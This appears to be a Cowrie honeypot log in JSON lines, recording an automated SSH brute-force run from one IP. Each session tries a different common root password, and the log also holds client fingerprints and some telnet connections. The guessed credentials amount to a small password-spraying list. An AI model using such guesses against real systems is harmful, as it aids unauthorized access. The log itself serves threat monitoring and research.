{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35890,"dst_ip":"10.17.0.5","dst_port":22,"session":"a962ccb8193c","protocol":"ssh","message":"New connection: 60.165.124.241:35890 (10.17.0.5:22) [session: a962ccb8193c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:38.222494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:38.225746Z","src_ip":"60.165.124.241","session":"a962ccb8193c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:38.464332Z","src_ip":"60.165.124.241","session":"a962ccb8193c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxc@123123","message":"login attempt [root/Zxc@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:39.207413Z","src_ip":"60.165.124.241","session":"a962ccb8193c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.119.101.94","src_port":53664,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e768975ead8","protocol":"telnet","message":"New connection: 181.119.101.94:53664 (159.203.135.109:23) [session: 8e768975ead8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:39.342984Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:40.461602Z","src_ip":"60.165.124.241","session":"a962ccb8193c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38820,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7ea597246d","protocol":"ssh","message":"New connection: 60.165.124.241:38820 (10.17.0.5:22) [session: dc7ea597246d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:40.708606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:40.713775Z","src_ip":"60.165.124.241","session":"dc7ea597246d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:40.951089Z","src_ip":"60.165.124.241","session":"dc7ea597246d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123!","message":"login attempt [root/Apple123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:41.674741Z","src_ip":"60.165.124.241","session":"dc7ea597246d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:42.921641Z","src_ip":"60.165.124.241","session":"dc7ea597246d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41458,"dst_ip":"10.17.0.5","dst_port":22,"session":"f50456a126f3","protocol":"ssh","message":"New connection: 60.165.124.241:41458 (10.17.0.5:22) [session: f50456a126f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:43.171239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:43.174966Z","src_ip":"60.165.124.241","session":"f50456a126f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:43.412773Z","src_ip":"60.165.124.241","session":"f50456a126f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123!@#","message":"login attempt [root/test123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:44.146221Z","src_ip":"60.165.124.241","session":"f50456a126f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:45.393209Z","src_ip":"60.165.124.241","session":"f50456a126f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44214,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d337d56126d","protocol":"ssh","message":"New connection: 60.165.124.241:44214 (10.17.0.5:22) [session: 7d337d56126d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:45.659895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:45.664318Z","src_ip":"60.165.124.241","session":"7d337d56126d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:45.925136Z","src_ip":"60.165.124.241","session":"7d337d56126d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456yi","message":"login attempt [root/123456yi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:46.706350Z","src_ip":"60.165.124.241","session":"7d337d56126d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:47.959959Z","src_ip":"60.165.124.241","session":"7d337d56126d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47040,"dst_ip":"10.17.0.5","dst_port":22,"session":"83edb50b7704","protocol":"ssh","message":"New connection: 60.165.124.241:47040 (10.17.0.5:22) [session: 83edb50b7704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:48.184290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:48.188287Z","src_ip":"60.165.124.241","session":"83edb50b7704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:48.439524Z","src_ip":"60.165.124.241","session":"83edb50b7704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@$$w0rd!@#","message":"login attempt [root/p@$$w0rd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:49.173737Z","src_ip":"60.165.124.241","session":"83edb50b7704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.334235191345215,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:49.620738Z","src_ip":"167.58.53.36","session":"076cabb99bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:50.426678Z","src_ip":"60.165.124.241","session":"83edb50b7704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49818,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e3d856dc90","protocol":"ssh","message":"New connection: 60.165.124.241:49818 (10.17.0.5:22) [session: 88e3d856dc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:50.673564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:50.677823Z","src_ip":"60.165.124.241","session":"88e3d856dc90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:50.928569Z","src_ip":"60.165.124.241","session":"88e3d856dc90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer!@34","message":"login attempt [root/qwer!@34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:51.661416Z","src_ip":"60.165.124.241","session":"88e3d856dc90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.32743525505066,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:52.670321Z","src_ip":"181.119.101.94","session":"8e768975ead8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:52.901327Z","src_ip":"60.165.124.241","session":"88e3d856dc90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52558,"dst_ip":"10.17.0.5","dst_port":22,"session":"789e0a7d3013","protocol":"ssh","message":"New connection: 60.165.124.241:52558 (10.17.0.5:22) [session: 789e0a7d3013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:53.130922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:53.134959Z","src_ip":"60.165.124.241","session":"789e0a7d3013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:53.376465Z","src_ip":"60.165.124.241","session":"789e0a7d3013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQww1122","message":"login attempt [root/QQww1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:54.128795Z","src_ip":"60.165.124.241","session":"789e0a7d3013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:55.376789Z","src_ip":"60.165.124.241","session":"789e0a7d3013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55288,"dst_ip":"10.17.0.5","dst_port":22,"session":"8609b67299df","protocol":"ssh","message":"New connection: 60.165.124.241:55288 (10.17.0.5:22) [session: 8609b67299df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:55.618481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:55.623110Z","src_ip":"60.165.124.241","session":"8609b67299df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:55.870947Z","src_ip":"60.165.124.241","session":"8609b67299df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xykj2019..","message":"login attempt [root/xykj2019..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:56.606328Z","src_ip":"60.165.124.241","session":"8609b67299df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:57.858624Z","src_ip":"60.165.124.241","session":"8609b67299df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58026,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b3c7a05d905","protocol":"ssh","message":"New connection: 60.165.124.241:58026 (10.17.0.5:22) [session: 4b3c7a05d905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:58.096780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:58:58.101516Z","src_ip":"60.165.124.241","session":"4b3c7a05d905","protocol":"ssh"}
